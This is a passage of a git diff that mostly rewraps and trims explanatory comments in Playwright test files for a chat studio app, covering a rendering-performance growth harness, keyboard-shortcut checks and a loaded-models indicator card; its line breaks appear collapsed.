the WHOLE- # recorder window, so it carries every double-rAF wait in it and takes the measured- # `paint_waits`. An axis measured from a later mark carries only its own and keeps a- # declared count. Both kinds are here on purpose and the difference is not cosmetic.+ # The rule for the entries below: an axis measured from `__hv.startedAt` spans the WHOLE recorder window, so it+ # carries every double-rAF wait in it and takes the measured `paint_waits`. An axis measured from a later mark+ # carries only its own and keeps a declared count. Both kinds are here on purpose and the difference is not+ # cosmetic.#- # gestureMs is `performance.now() - __hv.startedAt`, and BOTH settle figures come from- # `quiet()` / `quietUntilIdle()`, which return `... - this.startedAt` rather than the time- # they themselves took. All three therefore contained the scroll's twenty paint waits and- # declared none of them, leaving ~20 vsync floors in both ends of those ratios, which- # compresses them hard enough to report a real size-dependent regression as flat.+ # gestureMs is `performance.now() - __hv.startedAt`, and BOTH settle figures come from `quiet()` /+ # `quietUntilIdle()`, which return `... - this.startedAt` rather than the time they themselves took. All three+ # therefore contained the scroll's twenty paint waits and declared none of them, leaving ~20 vsync floors in+ # both ends of those ratios, which compresses them hard enough to report a real size-dependent regression as+ # flat.#- # Counted at runtime rather than written in: the twenty come from a LOOP, so the literal- # `__nextPaint()` count in the source is one, and any hand-declared number here would have- # been wrong in the same way the old zero was.+ # Counted at runtime rather than written in: the twenty come from a LOOP, so the literal `__nextPaint()` count+ # in the source is one, and any hand-declared number here would have been wrong in the same way the old zero+ # was.("keystroke median ms", _action("keystroke", "median_sample_ms"), 1),("scroll gesture ms", _action("scroll", "gestureMs"), _floor_from("scroll", "paint_waits")),("scroll settle ms", _action("scroll", "settleMs"), _floor_from("scroll", "paint_waits")),@@ -1398,9 +1383,9 @@ GROWTH_AXES = tuple(# the number never contained.("jump painted ms", _action("jump", "paintedMs"), 1),("jump settle ms", _action("jump", "settleMs"), _floor_from("jump", "paint_waits")),- # Also NOT paint_waits: MENU_JS awaits no paint at all, and its two floors come from- # settle() reading the pre-MutationObserver state on entry, once for open and once for- # close. The window count is zero here and would remove a floor that is really there.+ # Also NOT paint_waits: MENU_JS awaits no paint at all, and its two floors come from settle() reading the+ # pre-MutationObserver state on entry, once for open and once for close. The window count is zero here and would+ # remove a floor that is really there.("menu open+close ms", _action("menu", "open_close_ms"), 2),("delete ms", _action("delete", "ms"), 1),# The OBSERVATION floor only, and deliberately a constant rather than the measured@@ -1411,9 +1396,8 @@ GROWTH_AXES = tuple(("reopen ms", _action("reopen", "ms"), REOPEN_OBSERVATION_FLOOR),])-# A ratio at or below this from the smallest size to the largest means the axis did not respond-# to twelve times the content. That is not a flat curve, it is an axis that is not measuring the-# thing being varied.+# A ratio at or below this from the smallest size to the largest means the axis did not respond to twelve times the+# content. That is not a flat curve, it is an axis that is not measuring the thing being varied.DISCRIMINATION_RATIO = float(os.environ.get("SMOKE_DISCRIMINATION_RATIO", "1.5"))# What a counter that starts at zero has to REACH before its rise counts as an answer. A ratio# cannot be formed against zero, so DISCRIMINATION_RATIO does not apply to these axes at all and@@ -1422,18 +1406,16 @@ DISCRIMINATION_RATIO = float(os.environ.get("SMOKE_DISCRIMINATION_RATIO", "1.5")# what an unloaded machine produces on its own, and the CI configuration runs a single repetition# so there is no median to average that away.ZERO_BASED_MIN_RISE = int(os.environ.get("SMOKE_ZERO_BASED_MIN_RISE", "5"))-# Which axes are COUNTS. Stated, not inferred. The zero branch below used to key on `floored`,-# which only identifies a timing that had a paint floor subtracted; an UNFLOORED timing such as-# `longest stall ms` or `worst frame ms` is zero at the smallest size whenever the action ends-# before the recorder produces a sample, and it was then treated as a dropped-frame counter, so a-# noisy 5ms at the largest size read as a rise of 5 and discriminated. `harness_failures` accepts-# any one discriminating axis, so that stray millisecond could carry the run.+# Which axes are COUNTS. Stated, not inferred. The zero branch below used to key on `floored`, which only identifies a+# timing that had a paint floor subtracted; an UNFLOORED timing such as `longest stall ms` or `worst frame ms` is zero+# at the smallest size whenever the action ends before the recorder produces a sample, and it was then treated as a+# dropped-frame counter, so a noisy 5ms at the largest size read as a rise of 5 and discriminated.+# `harness_failures` accepts any one discriminating axis, so that stray millisecond could carry the run.## A count is a count of events. Only `frames over 33ms` is one; every other axis is milliseconds.COUNTER_AXES = frozenset(f"{a} frames over 33ms" for a in ACTIONS)-# Engine chatter is tolerated up to this many warnings per size. Gecko's two scroll-anchoring-# notices are what this number exists for; anything the app emits per message would be two orders-# of magnitude above it at 220 messages.+# Engine chatter is tolerated up to this many warnings per size. Gecko's two scroll-anchoring notices are what this+# number exists for; anything the app emits per message would be two orders of magnitude above it at 220 messages.CONSOLE_WARNING_ALLOWANCE = int(os.environ.get("SMOKE_CONSOLE_WARNING_ALLOWANCE", "4"))@@ -1445,10 +1427,10 @@ def resolve_floor(floored, row: dict) -> float:not JSON serializable`, which failed every complete run AFTER all the measurements were taken.Nothing in the unit tests caught it because none of them serialise the report."""- # NOT int(). `summarise` takes a median across repetitions, so an even-repetition run whose- # repetitions paid 1 and 2 waits reports 1.5, and truncating that to 1 left half a vsync floor- # in the wall-clock axis and published a distorted ratio. The documented two-repetition- # configurations are exactly the ones that produce halves. A float serialises fine.+ # NOT int(). `summarise` takes a median across repetitions, so an even-repetition run whose repetitions paid 1 and 2+ # waits reports 1.5, and truncating that to 1 left half a vsync floor in the wall-clock axis and published a+ # distorted ratio. The documented two-repetition configurations are exactly the ones that produce halves. A float+ # serialises fine.value = floored(row) if callable(floored) else flooredreturn value if isinstance(value, (int, float)) else 0@@ -1492,8 +1474,8 @@ def report_growth(results: dict) -> dict[str, dict[str, dict]]:per_axis: dict[str, dict] = {}for name, pick, floored in GROWTH_AXES:small, large = growth(cells, pick, floored, results["sizes"])- # Resolved here, once, so what lands in the JSON is the count that was actually- # subtracted at each end rather than the thing that computes it.+ # Resolved here, once, so what lands in the JSON is the count that was actually subtracted at each end+ # rather than the thing that computes it.floor_counts = [resolve_floor(floored, cells.get(str(size), {}))for size in (results["sizes"][0], results["sizes"][-1])@@ -1508,13 +1490,12 @@ def report_growth(results: dict) -> dict[str, dict[str, dict]]:}continueif small <= 0:- # A COUNT that is 0 at the smallest size and 4 at the largest has no ratio and has- # still answered the question, so it counts as discriminating when it really rose.+ # A COUNT that is 0 at the smallest size and 4 at the largest has no ratio and has still answered the+ # question, so it counts as discriminating when it really rose.#- # A TIMING does not get that credit. `floored` means the value had the ~33ms vsync- # floor subtracted from it, so a zero or negative here says the action resolved at- # or under one frame at the smallest size, which is a metric with no room to move- # rather than a metric that grew from nothing.+ # A TIMING does not get that credit. `floored` means the value had the ~33ms vsync floor subtracted+ # from it, so a zero or negative here says the action resolved at or under one frame at the smallest+ # size, which is a metric with no room to move rather than a metric that grew from nothing.if floored:per_axis[name] = {"small": small,@@ -1533,9 +1514,9 @@ def report_growth(results: dict) -> dict[str, dict[str, dict]]:# `harness_failures` accepts any ONE discriminating axis, so that stray frame# could carry the whole verdict while every latency axis was flat or broken.if name not in COUNTER_AXES:- # A timing that reads zero at the smallest size did not "grow from nothing",- # it resolved below what the recorder can see. ZERO_BASED_MIN_RISE is a count- # of events and means nothing applied to milliseconds.+ # A timing that reads zero at the smallest size did not "grow from nothing", it resolved below what+ # the recorder can see.+ # ZERO_BASED_MIN_RISE is a count of events and means nothing applied to milliseconds.per_axis[name] = {"small": small,"large": large,@@ -1568,12 +1549,11 @@ def report_growth(results: dict) -> dict[str, dict[str, dict]]:}continueratio = round(large / small, 2)- # The noise floor applies to a counter whatever its baseline. A dropped-frame count- # going 1 -> 2 is a ratio of 2.0 and cleared DISCRIMINATION_RATIO, and since- # harness_failures accepts any single discriminating axis, that one incidental frame- # could carry the CI smoke while every latency axis was flat. A ratio is only- # meaningful once there are enough events for the ratio to be about the content- # rather than about one frame either way.+ # The noise floor applies to a counter whatever its baseline. A dropped-frame count going 1 -> 2 is a ratio+ # of 2.0 and cleared DISCRIMINATION_RATIO, and since harness_failures accepts any single discriminating+ # axis, that one incidental frame could carry the CI smoke while every latency axis was flat. A ratio is+ # only meaningful once there are enough events for the ratio to be about the content rather than about one+ # frame either way.noisy_counter = name in COUNTER_AXES and large < ZERO_BASED_MIN_RISEper_axis[name] = {"small": small,@@ -1617,14 +1597,13 @@ def print_growth(results: dict, report: dict) -> None:# The declared double-rAF count for each axis whose action reports how many it actually paid.-# GROWTH_AXES holds the declaration; the action holds the observation; a harness that subtracts a-# floor the metric never waited out invents time it never spent. Only reopen reports its waits-# today, so only reopen is checkable here; the entry exists so adding a counter to another action-# wires it in by name.+# GROWTH_AXES holds the declaration; the action holds the observation; a harness that subtracts a floor the metric+# never waited out invents time it never spent. Only reopen reports its waits today, so only reopen is checkable here;+# the entry exists so adding a counter to another action wires it in by name.#-# The check is a LOWER BOUND, not equality. Paying more waits than are subtracted is the normal-# state of a progressive mount and is not a fault: those extra waits are the application-# committing rows, and REOPEN_OBSERVATION_FLOOR keeps them in the number on purpose.+# The check is a LOWER BOUND, not equality. Paying more waits than are subtracted is the normal state of a progressive+# mount and is not a fault: those extra waits are the application committing rows, and REOPEN_OBSERVATION_FLOOR keeps+# them in the number on purpose.# axis name in GROWTH_AXES -> (action, the field on that action reporting its own wait count)FLOOR_COUNTERS = {"reopen ms": ("reopen", "paintWaits")}@@ -1652,9 +1631,9 @@ def floor_declaration_problems(results: dict) -> list[str]:continuefor axis_name, (action, counter) in FLOOR_COUNTERS.items():measured = row.get("actions", {}).get(action) or {}- # An action that did not run is already reported by harness_failures, with the- # reason. Reporting it again here as an unverified floor would be a second- # failure for one cause, and would bury the real one.+ # An action that did not run is already reported by harness_failures, with the reason. Reporting it+ # again here as an unverified floor would be a second failure for one cause, and would bury the real+ # one.if not measured.get("ran", True):continueobserved = measured.get(counter)@@ -1695,9 +1674,9 @@ def harness_failures(results: dict, report: dict) -> list[str]:continuecounts = row["counts"]plan = row["plan"]- # A request reaching the server is a round trip to another process inside a region- # being timed, once per message. A warning storm is the same cost via the console- # channel. Both scale with content, so both would forge the curve.+ # A request reaching the server is a round trip to another process inside a region being timed, once per+ # message. A warning storm is the same cost via the console channel. Both scale with content, so both would+ # forge the curve.if row["stray_api_requests"]:urls = row.get("stray_api_urls") or []named = ", ".join(urls) if urls else "(urls not recorded)"@@ -1706,20 +1685,18 @@ def harness_failures(results: dict, report: dict) -> list[str]:f"during the measured actions; the timings include a round trip per "f"request. Endpoints: {named}")- # Console output from inside a timed region is serialised over the debugging channel,- # so a warning the app emits once per message would both cost time and grow like the- # signal. The instrument for that is an ABSOLUTE cap, not a growth check: at 220- # messages a per-message warning is in the hundreds, while what an engine says about- # itself is a handful. Firefox 153 emits exactly two "Scroll anchoring was disabled- # in a scroll container" notices once the container is large enough, which is zero at- # 25K and two at both 100K and 300K -- a growth check fails on that and would leave- # this harness unable to report a Gecko number at all. The count and the first- # message are printed per size either way, so a reader can see what was tolerated.- # NO allowance. The paragraph above is about engine chatter, which is the engine- # describing itself; an application exception is not that. One console.error or one- # uncaught pageerror inside a measured interaction means the interaction did not do- # what the row says it did, so its timing is not a measurement of the labelled thing.- # Sharing one list with the warnings let exactly one such error sit under the "> 4"+ # Console output from inside a timed region is serialised over the debugging channel, so a warning the app+ # emits once per message would both cost time and grow like the signal.+ # The instrument for that is an ABSOLUTE cap, not a growth check: at 220 messages a per-message warning is+ # in the hundreds, while what an engine says about itself is a handful.+ # Firefox 153 emits exactly two "Scroll anchoring was disabled in a scroll container" notices once the+ # container is large enough, which is zero at 25K and two at both 100K and 300K -- a growth check fails on+ # that and would leave this harness unable to report a Gecko number at all. The count and the first message+ # are printed per size either way, so a reader can see what was tolerated.+ # NO allowance. The paragraph above is about engine chatter, which is the engine describing itself; an+ # application exception is not that. One console.error or one uncaught pageerror inside a measured+ # interaction means the interaction did not do what the row says it did, so its timing is not a measurement+ # of the labelled thing. Sharing one list with the warnings let exactly one such error sit under the "> 4"# threshold and the run exit 0 with the timings published.for phase, count, first in (("seeding", row.get("seed_console_errors", 0), row.get("first_seed_error", "-")),@@ -1751,15 +1728,13 @@ def harness_failures(results: dict, report: dict) -> list[str]:f"{where} rendered {counts['messages']} of {plan['messages']} messages; the ""seed did not land")- # The fixture IS the measurement. A thread of plain paragraphs would be cheap for- # reasons the app is not, so every kind the user report names has to be on screen,- # in proportion, at every size.+ # The fixture IS the measurement. A thread of plain paragraphs would be cheap for reasons the app is not,+ # so every kind the user report names has to be on screen, in proportion, at every size.#- # Counted against the page's own per-cycle expectation rather than against zero. The- # renderer drops content silently in more than one place -- an image part whose data- # URL is not base64 PNG/JPEG/GIF/WebP is discarded with a console.warn -- and a- # fixture that has quietly lost a whole kind still produces a rising curve, of- # something else.+ # Counted against the page's own per-cycle expectation rather than against zero. The renderer drops content+ # silently in more than one place -- an image part whose data URL is not base64 PNG/JPEG/GIF/WebP is+ # discarded with a console.warn -- and a fixture that has quietly lost a whole kind still produces a rising+ # curve, of something else.for key, per_cycle in plan["expectedPerCycle"].items():want = per_cycle * plan["cycles"]if counts.get(key, 0) < want:@@ -1772,12 +1747,11 @@ def harness_failures(results: dict, report: dict) -> list[str]:failures.append(f"{where} highlighted nothing; Shiki never ran")# DEFERRAL IS EXPECTED. AN UNHIGHLIGHTED MOUNTED FENCE IS NOT.#- # A floor on total tokens no longer separates "settled" from "the reader is not looking- # at most of the code", so ask per block: a fence is either a deferred shell, which is- # a named state with an attribute, or highlighted. The third state -- mounted, not- # deferred, still on streamdown's fallback -- lasts a frame while the highlighter's- # passive effect runs, and a settled thread must hold none. Stricter than the total it- # replaces, which one stuck block passed as long as the others made the count up.+ # A floor on total tokens no longer separates "settled" from "the reader is not looking at most of the+ # code", so ask per block: a fence is either a deferred shell, which is a named state with an attribute, or+ # highlighted. The third state -- mounted, not deferred, still on streamdown's fallback -- lasts a frame+ # while the highlighter's passive effect runs, and a settled thread must hold none. Stricter than the total+ # it replaces, which one stuck block passed as long as the others made the count up.stuck = counts.get("unhighlightedMountedFences", 0)if stuck:failures.append(@@ -1795,11 +1769,10 @@ def harness_failures(results: dict, report: dict) -> list[str]:for name in ACTIONS:if not actions[name].get("ran"):failures.append(f"{where} could not run the {name} action at all")- # A null settle time is the settle loop giving up: the page never produced a calm- # window inside SETTLE_TIMEOUT_MS. It is NOT "this engine does not report that",- # but it prints as the same `-`, and the axis it feeds merely becomes "not- # recorded" -- so another axis can carry the discrimination check and the run exits- # 0 having timed out without measuring settlement.+ # A null settle time is the settle loop giving up: the page never produced a calm window inside+ # SETTLE_TIMEOUT_MS. It is NOT "this engine does not report that", but it prints as the same `-`, and the+ # axis it feeds merely becomes "not recorded" -- so another axis can carry the discrimination check and the+ # run exits 0 having timed out without measuring settlement.for name in ("scroll", "jump", "reopen"):settling = actions[name]if settling.get("ran") and settling.get("settleMs") is None:@@ -1810,22 +1783,20 @@ def harness_failures(results: dict, report: dict) -> list[str]:)keystroke = actions["keystroke"]if keystroke.get("ran"):- # The DOM value is what the harness itself wrote, so it proves nothing on its- # own. Only the runtime's copy shows the keystroke reached React rather than just- # the textarea, and a keystroke that reached nothing still reports the ~33ms- # paint floor, which reads as a plausible timing.+ # The DOM value is what the harness itself wrote, so it proves nothing on its own. Only the runtime's+ # copy shows the keystroke reached React rather than just the textarea, and a keystroke that reached+ # nothing still reports the ~33ms paint floor, which reads as a plausible timing.if keystroke["runtimeText"] != keystroke["domText"]:failures.append(f"{where} typed {keystroke['domText']!r} into the DOM but the runtime "f"holds {keystroke['runtimeText']!r}; the keystroke never reached the ""composer state")- # Sitting on the paint floor is NOT a harness failure here, and the reason is a- # finding rather than an excuse: the character reaches the composer and paints on- # the very next frame at every size, while the thread churns for another 180ms- # afterwards. `runtimeText == domText` above is what proves the keystroke landed;- # the floor comparison only says this particular axis has no room to move, which- # the growth report states per axis.+ # Sitting on the paint floor is NOT a harness failure here, and the reason is a finding rather than an+ # excuse: the character reaches the composer and paints on the very next frame at every size, while the+ # thread churns for another 180ms afterwards. `runtimeText == domText` above is what proves the+ # keystroke landed; the floor comparison only says this particular axis has no room to move, which the+ # growth report states per axis.scroll = actions["scroll"]# Equal travel at every size or the columns are not the same gesture.if scroll.get("ran") and scroll["scrolledPx"] < SCROLL_STEPS * SCROLL_STEP_PX * 0.9:@@ -1836,9 +1807,9 @@ def harness_failures(results: dict, report: dict) -> list[str]:)jumped = actions["jump"]if jumped.get("ran"):- # Unlike the gesture, the jump is DELIBERATELY not the same distance at every- # size: it is bottom to top, which is the point. What has to hold is that it- # arrived, or the column is timing a scroll that did not move.+ # Unlike the gesture, the jump is DELIBERATELY not the same distance at every size: it is bottom to+ # top, which is the point. What has to hold is that it arrived, or the column is timing a scroll that+ # did not move.if jumped["landedAt"] > 1:failures.append(f"{where} jumped to the top of the thread and landed at "@@ -1882,9 +1853,9 @@ def harness_failures(results: dict, report: dict) -> list[str]:"of a thread that never left")- # A modal menu puts the body on the modal layer and a non-modal one does not, and the two- # cost wildly different amounts. Either is a legitimate tree, but a run that mixes them- # across sizes is comparing columns measured on different mechanisms.+ # A modal menu puts the body on the modal layer and a non-modal one does not, and the two cost wildly different+ # amounts. Either is a legitimate tree, but a run that mixes them across sizes is comparing columns measured on+ # different mechanisms.layers = {results["by_engine"][engine]["by_size"][str(size)].get("actions", {})diff --git a/tests/studio/playwright_image_model_footprint.py b/tests/studio/playwright_image_model_footprint.pyindex d43c8920ace..9f282cafa04 100644--- a/tests/studio/playwright_image_model_footprint.py+++ b/tests/studio/playwright_image_model_footprint.py@@ -25,10 +25,9 @@ COMPANION_BYTES = 8_200_000_000REQUIRED_BYTES = CHECKPOINT_BYTES + COMPANION_BYTESREPO_ID = "unsloth/FLUX.2-klein-4B-GGUF"FILENAME = "FLUX.2-klein-4B-Q4_K_M.gguf"-# The row is labelled by the catalogue's displayName ("FLUX.2 klein 4B"), not by the-# artifact repo id. Matching the id exactly waited 30 s for text the picker never-# renders. This test is about the footprint the row reports, not about its wording,-# so accept either spelling and let a genuinely missing row still fail.+# The row is labelled by the catalogue's displayName ("FLUX.2 klein 4B"), not by the artifact repo id. Matching the id+# exactly waited 30 s for text the picker never renders. This test is about the footprint the row reports, not about+# its wording, so accept either spelling and let a genuinely missing row still fail.KLEIN_ROW = re.compile(r"FLUX\.2[\s\-]klein[\s\-]4B")@@ -177,8 +176,8 @@ def _api_payload(path: str, query: dict[str, list[str]], *, full_footprint: boolcheckpoint_bytes = CHECKPOINT_BYTES,)return base- # Nonessential background probes are allowed to settle to an empty object;- # the test fails on browser exceptions or a missing selector row below.+ # Nonessential background probes are allowed to settle to an empty object; the test fails on browser exceptions or a+ # missing selector row below.return {}diff --git a/tests/studio/playwright_keyboard_shortcuts.py b/tests/studio/playwright_keyboard_shortcuts.pyindex 2765fbb9f50..181352b9361 100644--- a/tests/studio/playwright_keyboard_shortcuts.py+++ b/tests/studio/playwright_keyboard_shortcuts.py@@ -34,8 +34,7 @@ PORT = int(os.environ.get("SMOKE_PORT", "5407"))ENGINES = [e for e in os.environ.get("SMOKE_ENGINES", "chromium").split(",") if e]URL = f"http://127.0.0.1:{PORT}/smoke-shortcuts.html"-# navigator.platform, and a user agent to match. WebKit reports a Mac agent even-# on Linux, so nothing here may be left to the engine's own default.+# navigator.platform, and a user agent to match.PLATFORMS = {"macOS": ("MacIntel", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) SmokeUA"),"Windows": ("Win32", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) SmokeUA"),@@ -205,12 +204,11 @@ def check_text_fields(page, engine: str, platform: str) -> None:str(actions(page)),)- # Escape types nothing in the composer, so declining keeps working there,- # and Enter, which sends, does not.reset(page)page.focus("#smoke-composer")page.keyboard.press("Escape")declined = actions(page)+ # Escape types nothing in the composer, so declining keeps working there, and Enter, which sends, does not.reset(page)page.focus("#smoke-composer")page.keyboard.press("Enter")@@ -306,8 +304,7 @@ def check_repeat(page, engine: str, platform: str) -> None:def check_altgr(page, engine: str, platform: str) -> None:- # AltGr reports itself as Ctrl+Alt. Off macOS an Alt chord must stand aside- # so the character is typed; on macOS Option reports AltGraph and is a plain Alt.+ # AltGr reports itself as Ctrl+Alt.reset(page)prevented = page.evaluate("""([mac]) => {@@ -341,9 +338,8 @@ def check_altgr(page, engine: str, platform: str) -> None:def check_foreign_binding(page, engine: str, platform: str) -> None:- # A binding stored on a Mac must not fire on the bare key elsewhere. Before- # the registry grew, matchesBinding ignored the ctrl flag off macOS instead- # of rejecting it, and a Mac Ctrl chord fired on the unmodified key.+ # A binding stored on a Mac must not fire on the bare key elsewhere. Before the registry grew, matchesBinding+ # ignored the ctrl flag off macOS instead of rejecting it, and a Mac Ctrl chord fired on the unmodified key.reload_with(page, json.dumps({"copySessionId": {"primary": "Ctrl+KeyG"}}))reset(page)page.evaluate(diff --git a/tests/studio/playwright_loaded_models_indicator.py b/tests/studio/playwright_loaded_models_indicator.pyindex 1980ee4288a..0642ffd604c 100644--- a/tests/studio/playwright_loaded_models_indicator.py+++ b/tests/studio/playwright_loaded_models_indicator.py@@ -52,13 +52,11 @@ ART.mkdir(parents = True, exist_ok = True)PLAYWRIGHT_BROWSER = os.environ.get("STUDIO_PLAYWRIGHT_BROWSER", "chromium").lower()PLAYWRIGHT_CHANNEL = os.environ.get("STUDIO_PLAYWRIGHT_CHANNEL") or None-# The wall this suite did not have. Its siblings (playwright_chat_ui.py,-# playwright_extra_ui.py) have carried one since a `page.evaluate` -- which-# takes no `timeout=` at all -- hung a job for 27 minutes in #5387. This suite-# has four raw `page.evaluate` calls of its own and is the LAST thing the-# Windows chat lane runs, so a wedge here used to be indistinguishable from the-# job simply never finishing. Same 720s default and same env knob as the-# siblings, so a slow runner is tuned in one place.+# The wall this suite did not have. Its siblings (playwright_chat_ui.py, playwright_extra_ui.py) have carried one+# since a `page.evaluate` -- which takes no `timeout=` at all -- hung a job for 27 minutes in #5387. This suite has+# four raw `page.evaluate` calls of its own and is the LAST thing the Windows chat lane runs, so a wedge here used to+# be indistinguishable from the job simply never finishing. Same 720s default and same env knob as the siblings, so a+# slow runner is tuned in one place.WALL_TIMEOUT_S = float(os.environ.get("STUDIO_UI_WALL_TIMEOUT_S", "720"))# The card polls every 5s; two ticks plus slack is enough to see a change land.@@ -159,8 +157,8 @@ class Runtime:self.hang: set[str] = set()self.status_reads = 0self.unloads: list[str] = []- # Routes deliberately left unanswered, kept so teardown can settle them- # instead of cancelling them out from under the handler.+ # Routes deliberately left unanswered, kept so teardown can settle them instead of cancelling them out from+ # under the handler.self.parked: list = []@@ -169,8 +167,7 @@ def install_routes(context, state: Runtime) -> None:def handler(route):state.status_reads += 1if key in state.hang:- # Accept the connection and never answer: the read must time- # out rather than wedge the card forever.+ # Accept the connection and never answer: the read must time out rather than wedge the card forever.state.parked.append(route)returnroute.fulfill(@@ -220,18 +217,17 @@ def install_routes(context, state: Runtime) -> None:def rows(page) -> list[str]:- # One round trip, deliberately. Reading count() and then indexing nth(i)- # races the very thing the eject checks watch for: the row disappears- # between the two calls, and nth(1) then blocks for the whole locator- # timeout. evaluate_all snapshots the list in a single evaluation.+ # One round trip, deliberately. Reading count() and then indexing nth(i) races the very thing the eject checks+ # watch for: the row disappears between the two calls, and nth(1) then blocks for the whole locator timeout.+ # evaluate_all snapshots the list in a single evaluation.return page.locator(EJECT).evaluate_all("els => els.map((el) => el.getAttribute('aria-label') || '')")def card_text(page) -> str:- # Bounded and absence-tolerant rather than count()-then-read, which has the- # same race as rows() when the card is mid-change.+ # Bounded and absence-tolerant rather than count()-then-read, which has the same race as rows() when the card is+ # mid-change.try:return page.locator(CARD).locator("xpath=ancestor::div[3]").first.inner_text(timeout = 5000)except Exception:@@ -247,8 +243,8 @@ def boot() -> None:"""Reload with a known localStorage, then wait for the card to settle."""page.goto(BASE, wait_until = "domcontentloaded")- # The indicator ships off, so every check that wants the card has to switch- # it on. Pass show = False to exercise the default.+ # The indicator ships off, so every check that wants the card has to switch it on. Pass show = False to+ # exercise the default.seeded = dict(seed or {})if show:seeded.setdefault(SHOW_KEY, "true")@@ -262,8 +258,8 @@ def boot()page.reload(wait_until = "domcontentloaded")page.wait_for_timeout(SETTLE_MS // 2)- # The card is deliberately hidden on /login, so an auth slip would make- # every "no card" check pass for the wrong reason.+ # The card is deliberately hidden on /login, so an auth slip would make every "no card" check pass for the wrong+ # reason.path = page.evaluate("location.pathname")if path.startswith(("/login", "/change-password")):raise AssertionError(f"not authenticated: landed on {path}")@@ -276,7 +272,6 @@ def main() -> int:try:api("/api/auth/change-password", {"current_password": OLD, "new_password": NEW}, token)except urllib.error.HTTPError as exc:- # Already rotated by a previous run on the same install.if exc.code not in (400, 401, 403):raisesession = api("/api/auth/login", {"username": "unsloth", "password": NEW})@@ -284,9 +279,8 @@ def main() -> int:info("FAIL bootstrap left must_change_password set")return 1- # add_init_script takes raw source, not a function to call: an arrow- # expression here would evaluate to a function nobody invokes, the SPA would- # find no token, and every check would silently run against /login.+ # add_init_script takes raw source, not a function to call: an arrow expression here would evaluate to a function+ # nobody invokes, the SPA would find no token, and every check would silently run against /login.seed_js = ("(() => {"f" localStorage.setItem('unsloth_auth_token', {json.dumps(session['access_token'])});"@@ -328,9 +322,8 @@ def main() -> int:run(page, state)finally:page.screenshot(path = str(ART / f"final-{PLAYWRIGHT_BROWSER}.png"))- # Settle the deliberately-hung routes before tearing down: closing- # over a parked one dumps a CancelledError traceback that reads- # like a failure.+ # Settle the deliberately-hung routes before tearing down: closing over a parked one dumps a+ # CancelledError traceback that reads like a failure.for parked in state.parked:try:parked.abort()@@ -352,7 +345,6 @@ def main() -> int:def run(page, state: Runtime) -> None:- # ── Nothing loaded ──────────────────────────────────────────────────state.reset()boot(page, state)check("no card when nothing is loaded", page.locator(CARD).count() == 0)@@ -372,7 +364,6 @@ def run(page, state: Runtime) -> None:check("chat row names its quant", "Q4_K_M" in text)check("dictation row is distinguished", "Dictation" in text)- # The card mounts from the root, so it must survive a route change.for route in ("/hub", "/train", "/images"):page.goto(BASE + route, wait_until = "domcontentloaded")page.wait_for_timeout(3000)@@ -437,8 +428,7 @@ def run(page, state: Runtime) -> None:page.wait_for_selector(CARD, timeout = 30_000)check(name, expected in card_text(page), card_text(page).replace("\n", " | "))- # An audio VLM answers prompts, so it is a chat model that happens to- # listen -- neither Speech nor Dictation.+ # An audio VLM answers prompts, so it is a chat model that happens to listen -- neither Speech nor Dictation.state.diffusion = dict(NOTHING_DIFFUSION)state.chat = chat(active_model = "unsloth/gemma-3n-E4B-it", is_audio = True, audio_type = "audio_vlm")boot(page, state)@@ -450,7 +440,6 @@ def run(page, state: Runtime) -> None:text.replace("\n", " | "),)- # ── A backend too old to have the video route ───────────────────────state.chat = chat(active_model = "unsloth/Qwen3-4B", loaded = ["unsloth/Qwen3-4B"])page.context.route("**/api/inference/video/status",@@ -461,7 +450,7 @@ def run(page, state: Runtime) -> None:boot(page, state)page.wait_for_selector(CARD, timeout = 30_000)check("a 404 video route does not blank the other rows", len(rows(page)) == 1, str(rows(page)))- install_routes(page.context, state) # restore the stub+ install_routes(page.context, state)# ── A runtime that accepts the connection and never answers ─────────state.hang = {"video"}@@ -471,9 +460,8 @@ def run(page, state: Runtime) -> None:state.hang = set()# ── A blip on a runtime that IS holding something ───────────────────- # A failed read is not evidence the runtime is empty. Dropping the rows for- # it takes a loaded model off the card, and on a remote Unsloth a blip can- # take all four at once, so the whole card would go while everything stayed+ # A failed read is not evidence the runtime is empty. Dropping the rows for it takes a loaded model off the card,+ # and on a remote Unsloth a blip can take all four at once, so the whole card would go while everything stayed# resident. The row must survive the failure and outlive it.state.chat = chat(active_model = "unsloth/Qwen3-4B", loaded = ["unsloth/Qwen3-4B"])boot(page, state)@@ -488,15 +476,14 @@ def run(page, state: Runtime) -> None:)page.context.route("**/api/inference/status", fail_chat_status)- # Long enough for several polls at the 5s cadence, so this is the steady- # state rather than a single unlucky read.+ # Long enough for several polls at the 5s cadence, so this is the steady state rather than a single unlucky read.page.wait_for_timeout(12_000)check("a failing status read keeps the row it cannot confirm",failing["count"] > 0 and len(rows(page)) == 1,f"{failing['count']} failed reads, rows={rows(page)}",)- install_routes(page.context, state) # restore the stub+ install_routes(page.context, state)# ── And a readable empty answer still clears it ─────────────────────state.chat = chat()@@ -612,12 +599,10 @@ def run(page, state: Runtime) -> None:)state.diffusion = NOTHING_DIFFUSION- # The expanded grip and the collapsed pill share one drag sentinel, but only- # the pill has a click to consume it. Drag by the grip, collapse, then click- # the pill ONCE: without the sentinel being dropped when a click-less handle- # finishes its drag, that first click reads someone else's drag and refuses- # to expand, so the user has to click twice. No reload in between, since a- # reload would clear the in-memory flag and hide the bug.+ # The expanded grip and the collapsed pill share one drag sentinel, but only the pill has a click to consume it.+ # Drag by the grip, collapse, then click the pill ONCE: without the sentinel being dropped when a click-less handle+ # finishes its drag, that first click reads someone else's drag and refuses to expand, so the user has to click+ # twice. No reload in between, since a reload would clear the in-memory flag and hide the bug.boot(page, state)page.wait_for_selector(CARD, timeout = 30_000)grip = page.locator(HANDLE).first.bounding_box()@@ -655,8 +640,8 @@ def run(page, state: Runtime) -> None:check("the chat row is present before ejecting", index is not None, str(labels))if index is not None:page.locator(EJECT).nth(index).click()- # Watch across more than one poll: a read already in flight when the- # eject lands used to put the row straight back.+ # Watch across more than one poll: a read already in flight when the eject lands used to put the row+ # straight back.reappeared = Falsegone = Falsefor _ in range(60):@@ -696,10 +681,9 @@ def run(page, state: Runtime) -> None:str(state.unloads),)- # A row over a runtime that is already idle: nothing is unloaded, so the- # toast must not report an eject. The row is up to one poll old and the- # dictation sidecars release themselves, so this is reached without anyone- # doing anything.+ # A row over a runtime that is already idle: nothing is unloaded, so the toast must not report an eject. The row+ # is up to one poll old and the dictation sidecars release themselves, so this is reached without anyone doing+ # anything.state.reset()state.diffusion = dict(NOTHING_DIFFUSION,@@ -723,7 +707,7 